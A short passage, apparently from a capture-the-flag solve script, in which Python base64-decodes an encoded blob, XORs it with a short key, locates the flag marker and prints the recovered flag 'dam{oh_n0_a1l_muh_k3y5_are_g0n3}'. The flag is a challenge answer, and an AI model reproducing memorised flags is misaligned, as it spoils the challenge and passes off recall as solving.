	QdPP iQ|bMAnMrTZ`hZoxd}\ H]L^EJNsQo|X]uee\^vpWSfIAq}]ADYv_cKyKeWyTAD|~@P\}VKNSBL^Yv
Du`uDM\aur@tmBsiDLBxU@|lxQlGi^vQYtq]RWTzoF}
R]FXs|XCl{VSQ[w@QEWLCk[mdEkJ' k = b'8675309' 
p = base64.b64decode(payload)
decode = bytes([p[i] ^ k[i%len(k)] for i in range(len(p))])
i = decode.index(b'dam{')
print(decode) 
print(decode[i-10:i+40])

dam{oh_n0_a1l_muh_k3y5_are_g0n3}